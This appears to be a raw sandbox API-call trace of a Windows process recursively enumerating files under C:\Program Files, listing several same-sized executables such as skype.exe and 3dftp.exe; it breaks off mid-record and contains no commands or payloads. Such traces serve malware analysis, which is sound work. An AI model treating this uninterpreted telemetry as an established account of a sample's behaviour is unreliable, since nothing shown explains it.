ftLastAccessTime.dwLowDateTime=0x707696c0, ftLastAccessTime.dwHighDateTime=0x1d5c3b3, ftLastWriteTime.dwLowDateTime=0x707696c0, ftLastWriteTime.dwHighDateTime=0x1d5c3b3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="kids-memorabilia.exe", cAlternateFileName="KIDS-M~1.EXE")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19723c30, ftCreationTime.dwHighDateTime=0x1d558a6, ftLastAccessTime.dwLowDateTime=0xb4c8f740, ftLastAccessTime.dwHighDateTime=0x1d5b725, ftLastWriteTime.dwLowDateTime=0xb4c8f740, ftLastWriteTime.dwHighDateTime=0x1d5b725, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74d57b0, ftCreationTime.dwHighDateTime=0x1d57b81, ftLastAccessTime.dwLowDateTime=0x29cd9a10, ftLastAccessTime.dwHighDateTime=0x1d569cd, ftLastWriteTime.dwLowDateTime=0x29cd9a10, ftLastWriteTime.dwHighDateTime=0x1d569cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="starbuys.exe", cAlternateFileName="")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74d57b0, ftCreationTime.dwHighDateTime=0x1d57b81, ftLastAccessTime.dwLowDateTime=0x29cd9a10, ftLastAccessTime.dwHighDateTime=0x1d569cd, ftLastWriteTime.dwLowDateTime=0x29cd9a10, ftLastWriteTime.dwHighDateTime=0x1d569cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="starbuys.exe", cAlternateFileName="")) returned 0 [0029.678] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa05e0310, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa05e0310, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0029.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa05e0310, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa05e0310, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa05e0310, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa05e0310, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8548940, ftCreationTime.dwHighDateTime=0x1d5a64d, ftLastAccessTime.dwLowDateTime=0xd1021520, ftLastAccessTime.dwHighDateTime=0x1d592dd, ftLastWriteTime.dwLowDateTime=0xd1021520, ftLastWriteTime.dwHighDateTime=0x1d592dd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="far.exe", cAlternateFileName="")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0029.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.679] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.679] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0029.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.680] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.680] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0029.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.680] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.680] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0029.680] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0029.680] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 0 [0029.680] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.680] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0029.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.680] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0029.681] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0029.681] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0029.681] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0029.681] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0547d90, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0547d90, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0029.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.681] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0029.681] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fb762d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fb762d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0029.682] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0029.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.682] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.682] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0535850, ftCreationTime.dwHighDateTime=0x1d59aea, ftLastAccessTime.dwLowDateTime=0x7651db00, ftLastAccessTime.dwHighDateTime=0x1d554fe, ftLastWriteTime.dwLowDateTime=0x7651db00, ftLastWriteTime.dwHighDateTime=0x1d554fe, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dftp.exe", cAlternateFileName="")) returned 1 [0029.682] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0029.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.683] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, 